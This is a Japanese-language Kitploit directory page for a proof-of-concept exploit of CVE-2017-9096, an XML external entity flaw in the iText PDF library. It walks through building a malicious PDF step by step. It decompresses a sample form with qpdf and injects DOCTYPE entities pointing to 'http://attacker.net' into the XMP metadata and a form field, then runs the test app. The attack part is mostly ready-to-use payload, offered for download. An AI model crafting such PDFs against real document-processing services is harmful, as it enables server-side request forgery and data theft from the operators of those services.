Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2017-9096-iText-XXE — CVE-2017-9096 の概念実証エクスプロイト。悪意のある XMP メタデータとフォームフィールドを介した iText PDF ライブラリにおける XML External Entity (XXE) インジェクションを示します。 | Kitploit
ツール/GitHubGitHub/jakabakos/cve-2017-9096-itext-xxe
脆弱性分析エクスプロイトウェブアプリケーション悪用ファジングペネトレーションテスト
GitHubjakabakos/cve-2017-9096-itext-xxe

CVE-2017-9096-iText-XXE

CVE-2017-9096 の概念実証エクスプロイト。悪意のある XMP メタデータとフォームフィールドを介した iText PDF ライブラリにおける XML External Entity (XXE) インジェクションを示します。

リポジトリを見る
133414年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2017-9096

1. XXEを含む悪意のあるPDFの作成

フォームを含むPDFを入手する:

root@kitploit:~
wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmit_Example.pdf -O input.pdf

PDFの解凍

これを行うには、qpdf --qdf --object-streams=disable input.pdf output.pdf でPDFを解凍し、テキストエディタでPDFを編集して悪意のあるXMLを追加する必要があります。

外部エンティティの追加

77行目のXMPメタデータにXEEを配置できます:

root@kitploit:~
stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE foo [ <!ENTITY xxe2 SYSTEM "http://attacker.net" > ]>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c321 44.398116, Tue Aug 04 2009 14:24:39">

そしてもちろん、参照もどこかに配置します。例:88行目:

root@kitploit:~
<xap:CreatorTool>Adobe LiveCycle Designer 8.0 &xxe2;</xap:CreatorTool>

ファイルに一般的なXXEを追加することもできます。 元のドキュメントのこの部分(740行目から)を参照してください:

root@kitploit:~
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj

次のように変更します:

root@kitploit:~
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.net" > ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj

次に、参照をどこかに追加します。例えば、Cityフィールド(元の解凍されたドキュメントの1845行目)に。これを:

root@kitploit:~
<text
>City:</text
></value
>

次のように:

root@kitploit:~
<text
>City:</text
><xxe>&xxe;</xxe></value
>

両方のXXEを含むパッチ適用済みPDFは、このリポジトリにもあります(output_with_xxe.pdf)

2. 攻撃の実行

Javaアプリを実行してPDFをテストするには、mvn clean compile exec:java を実行します。

ツールをダウンロード